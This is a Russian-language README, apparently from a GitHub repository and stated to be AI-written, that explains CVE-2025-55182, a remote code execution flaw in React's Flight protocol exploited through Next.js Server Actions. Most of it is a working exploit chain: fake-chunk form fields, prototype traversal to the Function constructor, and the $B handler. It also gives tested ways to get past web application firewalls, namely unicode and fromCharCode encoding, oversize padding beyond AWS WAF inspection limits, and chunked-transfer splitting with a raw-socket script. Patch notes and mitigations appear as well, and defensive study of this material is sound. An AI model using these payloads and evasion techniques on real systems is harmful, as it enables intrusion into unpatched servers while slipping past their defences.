
Подробный технический анализ и эксплойт доказательства концепции для CVE-2025-55182, критической уязвимости RCE в протоколе Flight от React. Охватывает обход пути, инъекцию поддельных фрагментов и методы обхода WAF.
ПРИМЕЧАНИЕ: Написано ИИ/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода в React Flight Protocol. Цепочка атаки использует path traversal + внедрение поддельного чанка + злоупотребление обработчиком $B для выполнения Function(attacker_code).
Большое спасибо maple3142 за рабочую цепочку эксплуатации!
Эксплойт использует три поля формы для создания вредоносной нагрузки:
then (поле 1 $@0 → поле 0)_response с _formData.get, установленным на $1:constructor:constructor$B, который вызывает response._formData.get(response._prefix + id)_formData.get → Function, выполняя Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Ключевые компоненты
| Компонент | Назначение |
|-----------|---------|
| `then: "$1:__proto__:then"` | Самореферентный thenable; чанк 1 (`$@0`) указывает обратно на чанк 0 |
| `status: "resolved_model"` | Делает объект похожим на валидный React-чанк |
| `reason: -1` | Устанавливает rootReference в undefined (избегает конфликтов ссылок) |
| `value: '{"then":"$B1337"}'` | Вложенная нагрузка, запускающая обработчик `$B` |
| `_response._prefix` | Содержит строку RCE-кода |
| `_response._chunks: "$Q2"` | Пустая Map для предотвращения сбоев при обработке чанков |
| `_response._formData.get` | Указывает на `Function` через `$1:constructor:constructor` |
### Детальный разбор компонента
#### Структура поля формы
Эксплойт использует три поля формы с циклическими ссылками:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)then: "$1:__proto__:then" создаёт самоссылку, которая разрешается в реальную функцию:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Почему это критично:**
1. `then` ссылается на `Chunk.prototype.then` - реальная вызываемая функция
2. Это делает поддельный объект действительным thenable
3. При ожидании (await) JS вызывает `obj.then(resolve, reject)`
4. `Chunk.prototype.then` выполняется с поддельным объектом в качестве `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) использует this._response — поддельный _response атакующего:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Без само-ссылки** поддельный `_response` никогда не будет использован. Само-ссылка заставляет `Chunk.prototype.then` обрабатывать объект атакующего как настоящий Chunk.
#### Двухэтапный thenable-триггер (`value`)
Поле `value` содержит вложенную JSON-строку с другим thenable:```json
{"then":"$B1337"}
Этап 1: Самореферентное свойство then внешнего объекта запускает обработку чанка.
Этап 2: Когда React разрешает модель, он парсит value и встречает другой thenable с then: "$B1337". Префикс $B запускает обработчик:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` — это `"$1:constructor:constructor"` → `getOutlinedModel()` разрешается в `Function`.
Получается: `Function(code + "1337")` → валидный JS, так как `1337` — это просто завершающее выражение.
#### Оборонительное заполнение (`_chunks`)
Поддельному `_response` нужно корректное свойство `_chunks`, чтобы избежать сбоев:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Внутренний код React может обращаться к response._chunks.get() или response._chunks.has() во время обработки. Пустая Map удовлетворяет этим вызовам без ошибок, позволяя выполнению достичь уязвимого обработчика $B.
| Путь | Функция | Цель в эксплойте |
|---|---|---|
| Path Traversal | getOutlinedModel() | Разрешает $1:constructor:constructor → Function |
Поддельная инъекция _response | initializeModelChunk() | Использует chunk._response злоумышленника |
Обработчик $B | parseModelString() | Вызывает _formData.get(_prefix + id) → RCE |
decodeReply() является точкой входа, сама по себе не уязвима.
Path Traversal (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Использование фиктивного ответа** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Обработчик RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
## Исправление (19.2.1)
Патч включает несколько исправлений:
1. **`RESPONSE_SYMBOL` в `initializeModelChunk()`** - Критическое исправление ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty проверка в getOutlinedModel() - Блокирует обход прототипа ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ handling in reviveModel() - Предотвращает загрязнение прототипа ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - Проверяет слушателей ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| Возможность | Статус | Примечания |
|---|---|---|
| Обход цепочки прототипов | ✓ Подтверждено | Через $1:constructor:constructor |
| Доступ к конструктору Function | ✓ Подтверждено | Манифест не нужен |
| Полное RCE | ✓ Подтверждено | Через фейковый chunk + обработчик $B |
В этом разделе объясняется, почему традиционные правила WAF, основанные на сопоставлении с образцом, не могут надёжно обнаружить эту эксплойту. Понимание этих ограничений необходимо командам безопасности для оценки своей защитной позиции.
Полезная нагрузка эксплойта проходит через несколько парсеров, каждый из которых поддерживает разные кодировки. WAF, проверяющий сырые байты HTTP, видит закодированные строки, но сервер декодирует их перед обработкой:
| Уровень | Парсер | Декодирует |
|---|---|---|
| Структура JSON | JSON.parse() | \uXXXX unicode escapes |
| Код JavaScript | Function() constructor | \uXXXX, \xXX, octal, fromCharCode() |
Это создаёт фундаментальное несоответствие: WAF видит закодированные байты, а приложение — декодированные строки.
Наивный WAF может искать шаблоны вроде constructor, __proto__, resolved_model или child_process. Однако JSON допускает unicode-экранирование для любого символа:
| Литеральный шаблон | Эквивалент в Unicode | Обнаружение WAF |
|---|---|---|
constructor | \u0063onstructor | Обойдено |
__proto__ | \u005f\u005fproto\u005f\u005f | Обойдено |
resolved_model | \u0072esolved_model | Обойдено |
$@ (circular ref) | $\u0040 | Обойдено |
Код JavaScript внутри полезной нагрузки имеет ещё больше возможностей кодирования:
| Шаблон | Варианты кодирования |
|---|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, числовые коды символов, base64 |
| Любой идентификатор | Скобочная нотация: this[S(112,114,...)], где S=String.fromCharCode |
Когда все методы кодирования объединены:
\u0074\u0068\u0065\u006e для then)S(99,104,105,108,100,95,...) для child_process)WAF, сканирующий тело HTTP, видит только escape-последовательности и числа — ничего, что соответствует традиционным сигнатурам атак.
Заголовок Next-Action идентифицирует запросы Server Action. Хотя имена заголовков не могут быть закодированы в Unicode (RFC 7230 требует ASCII-токены), различия в нормализации между WAF и сервером создают пробелы в обнаружении:
| Вариант | Поведение сервера | Риск для WAF |
|---|---|---|
next-action (нижний регистр) | Принимается (HTTP нечувствителен к регистру) | Пропущен, если WAF ожидает точный регистр |
Next-Action:\tx (tab) | Принимается (пробелы нормализованы) | Пропущен, если WAF ожидает пробел |
Next-Action: x (spaces) | Принимается | Пропущен без нормализации |
Установка исправлений — единственное надёжное средство. Правила WAF не могут полностью заблокировать эту атаку из-за гибкости кодирования.
Необходимые версии:
Если установка исправлений задерживается, рассмотрите:
\uXXXX, \xXX и нормализовать вызовы fromCharCode() перед сопоставлением с шаблоном_response, _prefix, _chunks или циклические ссылки ($@0)next-action без учёта регистра и с обрезкой пробеловNext-ActionFunction() с динамическими строковыми аргументамиГлавный вывод: Одно только сопоставление с шаблоном не сработает против этого класса атак. Поверхность кодирования слишком велика для перечисления.
Даже при комплексных правилах WAF, AWS WAF имеет ограничения на размер проверяемого тела, которые могут быть использованы. В этом разделе описаны проверенные методы обхода с использованием полезных нагрузок большого размера.
AWS WAF проверяет только часть тела запроса:
| Бэкенд | Ограничение по умолчанию | Максимум настраиваемый |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandlingПравила WAF указывают, как обрабатывать запросы, превышающие лимиты проверки:
| Настройка | Поведение | Эксплуатируемо? |
|---|---|---|
CONTINUE | Проверить доступные байты, вычислить правило | Да — нагрузка после лимита не проверяется |
MATCH | Считать совпадением (блокировать) | Нет |
NO_MATCH | Считать несовпадением | Да — пропускается |
Если ваше правило WAF использует OversizeHandling: CONTINUE (распространённое значение по умолчанию), обход тривиален.
Разместите безвредные дополнительные данные перед полезной нагрузкой эксплойта, чтобы они оказались за пределами окна проверки:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### Результаты тестирования
Все полезные нагрузки большого размера успешно выполнили RCE на Next.js:
| Padding Size | Total Body | Exploit Offset | Result |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### Обход chunked transfer encoding
HTTP/1.1 chunked transfer encoding разделяет тело на отдельные чанки. Если WAF проверяет чанки **до** сборки, шаблоны, охватывающие границы чанков, не будут обнаружены.
#### Как это работает```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
Шаблон разбит на части:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### Протестированные стратегии разбиения на фрагменты
| Стратегия | Описание | Результат |
|----------|-------------|--------|
| Split at `$@` | `"$` \| `@0"` | ✅ RCE |
| 10-byte fragments | Body split every 10 bytes | ✅ RCE |
| 5-byte fragments | Body split every 5 bytes | ✅ RCE |
| Split at `status` | `sta` \| `tus` | ✅ RCE |
Все стратегии успешно достигли RCE — Next.js корректно собирает запросы по частям.
#### Пример сырого сокета```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
| Тип WAF | Обработка фрагментов | Возможен обход? |
|---|---|---|
| AWS WAF (ALB) | Собирает фрагменты перед проверкой | Маловероятно |
| AWS WAF (CloudFront) | Собирает фрагменты перед проверкой | Маловероятно |
| Некоторые устаревшие WAF | Проверяет каждый фрагмент отдельно | Да |
| Nginx ModSecurity | Настраивается | Зависит от конфигурации |
Примечание: AWS WAF обычно собирает фрагментированные тела запросов перед проверкой. Однако это следует проверять в каждой среде, так как конфигурации могут различаться.
OversizeHandling на MATCH ```json
"OversizeHandling": "MATCH"
Это блокирует любой запрос, превышающий установленный лимит проверки, при соблюдении условий правила.
Увеличьте лимит проверки тела (только CloudFront/API Gateway) Настройте до 64 КБ в параметрах веб-ACL, но это не полностью предотвращает обход.
Добавьте правило блокировки по размеру
Блокируйте POST-запросы с заголовком Next-Action, превышающим разумный размер (например, 10 КБ).
Пропатчите приложение - Единственное полное решение.
См. прилагаемые тестовые скрипты:
test-simple.cjs - Базовый тест с не-чанковым payloadtest-oversize.cjs - Тестирует размеры отступов от 0 до 128 КБtest-chunked-v2.cjs - Чанковая передача с разбивкой $@test-chunked-bypass.cjs - Несколько стратегий чанкования (5-байт, 10-байт, разбивка по шаблону)Использование:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## Исследовательский путь
### Уязвимость: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
С полезной нагрузкой "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Хотя мы получили Function, для достижения RCE необходимо вызвать его с контролируемыми аргументами. Эти пути не сработали:
1. Путь Thenable (заблокирован)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction Путь (Заблокировано)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. Путь итератора (Заблокировано)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### Прорыв
maple3142 нашел недостающий элемент: обработчик `$B` + цепочка поддельных `_response`. Заставляя `then` разрешаться в `Chunk.prototype.then` через самореференцию, поддельный `_response` используется, что позволяет достичь RCE.
---
## Ключевые находки
1. **Уязвимость `getOutlinedModel()` реальна** - Пути, разделенные двоеточием, позволяют обход цепочки прототипов
2. **Конструктор Function доступен** - `$1:constructor:constructor` работает без serverManifest
3. **RCE достижимо** - Созданием поддельного чанка с управляемым `_response`:
- Самореференция `$1:__proto__:then` → `Chunk.prototype.then` заставляет поддельный `_response` использоваться
- Структура поддельного чанка имитирует внутренний класс Chunk в React
- `_response._formData.get` → конструктор `Function`
- `_response._prefix` → строка вредоносного кода
- Обработчик `$B` запускает `Function(вредоносный_код)`
4. **Исправление всестороннее** - Множество проверок `hasOwnProperty` и валидаций типов
---
## Ссылки
- [Gist maple3142](https://gist.github.com/maple3142) - обнаружение цепочки RCE
- [Совет по безопасности React](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [PoC от msanft](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [Правило AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## Отказ от ответственности
Этот репозиторий предназначен **только для образовательного и защитного исследования безопасности**. Уязвимость исправлена. Немедленно обновите свои зависимости.